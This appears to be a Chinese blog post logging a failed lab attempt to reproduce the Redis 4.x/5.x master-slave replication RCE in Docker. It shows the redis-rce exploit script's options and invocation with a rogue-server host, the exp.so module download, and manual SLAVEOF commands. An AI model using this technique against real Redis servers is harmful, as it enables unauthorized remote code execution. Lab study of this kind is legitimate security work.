Redis 基于主从复制的 RCE 利用方式
失败了不看也罢:
首先安装了一个Ubuntu的虚拟机,然后在虚拟机里安装了Docker
安装虚拟机的方法就不多说了,安装Docker的方法见其官网https://docs.docker.com/install/linux/docker-ce/ubuntu/,英语不太好的同学可以使用翻译插件或用QQ浏览器自带的翻译插件(如果其他浏览器也行,请留言补充,google也行,但需要你...)
Docker安装好了,就去安装两台Redis5.0的数据库
sudo docker search redis5.0
搜索redis
sudo docker pull damonevking/redis5.0
拉取第三个基础镜像sudo docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
映射端口并运行容器
-p, --publish ip:[hostPort]:containerPort | [hostPort:]containerPort
Publish a container's port, or range of ports, to the host.
将容器的端口或端口范围发布到主机。
这是-p参数的用法,
-d应该就是指定镜像了,不过我没找到😂
访问:你的ip:6379,如下图则搭建成功
然后再搭建一个,把主机端口16379映射到docker的6379上去
sudo docker run -p 16379:6379 -d damonevking/redis5.0 redis-server
看一下最简单的直接利用别人脚本的方式,这个我失败了
git clone https://github.com/Ridter/redis-rce.git
去github上下载一个利用脚本
到https://github.com/n0b0dyCN/redis-rogue-server下载一个so文件,然后放到redis-rce目录下
但是好尴尬,这个脚本不支持改端口啊
241parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
242 parser.add_argument("-p", "--rport", dest="rport", type=int,
243 help="target redis port, default 6379", default=6379)
244 parser.add_argument("-L", "--lhost", dest="lhost", type=str,
245 help="rogue server ip", required=True)
246 parser.add_argument("-P", "--lport", dest="lport", type=int,
247 help="rogue server listen port, default 21000", default=21000)
248 parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp_lin.so')
249 parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
250 parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False)
251 options = parser.parse_args()
看了一下源码,好吧可以指定端口,原来是我的姿势不对
我关机重启了,不记得镜像名称了啊,->
查看你有哪些镜像的命令为sudo docker images
好像不需要开两个镜像,用代码的话,一个目标redis就好了
python3 redis-rce.py -r 172.17.0.2 -L 127.0.0.1 -f exp.so
自己改ip地址
但我不成功啊
再换个别人的脚本,然后还是不行啊,这都是最后一步了啊,为啥不行啊
用tcpdump可以看到,确实把exp.so写进去了啊
难受
开始手动的方法吧
这次需要两台redis了,按照前面的方法,开两台redis吧。
杀死docker进程的命令为
sudo docker kill xxxxx
xxxx为sudo docker ps
命令列出来进程序号,只需要输入前几位就行好了,先下载一个redis的客户端
sudo apt install redis-tools
然后连接上16379那台,作为从机
sanqiushu@sanqiushu-VirtualBox:~/redis-rogue-server-master$ redis-cli -p 16379
127.0.0.1:16379> SLAVEOF 127.0.0.1 6379
OK
出现了,不行怪,别人可以我不行,主redis set一个值,从redis get不到,难受
经过一番折腾,发现了,SLAVEOF这个ip有问题,要写docker容器的ip
如何查看docker容器的ip见https://blog.csdn.net/sannerlittle/article/details/77063800
127.0.0.1:16379> SLAVEOF 172.17.0.2 6379
OK
127.0.0.1:16379> get hi
"hi"
127.0.0.1:16379>
终于好了,也许上面那个用别人代码不行也是这个原因吧
如果我们想解除主从关系可以执行SLAVEOF NO ONE
又试了一下别人代码
这是抓包看到的,这都是啥啊,崩溃啦,还是不行啊
继续手动吧
或许是我的redis没有这几个命令吧,
那进入docker容器,看看能不能安装个命令吧
以下为搜集到的资料,但没有实践
感谢以下前辈:
如何进入Docker容器 https://blog.csdn.net/u010397369/article/details/41045251
Redis Modules: an introduction to the API https://redis.io/topics/modules-intro
Redis基于主从复制的RCE 4.x/5.x 复现https://www.cnblogs.com/paperpen/p/11178751.html
浅析Redis中SSRF的利用 https://xz.aliyun.com/t/5665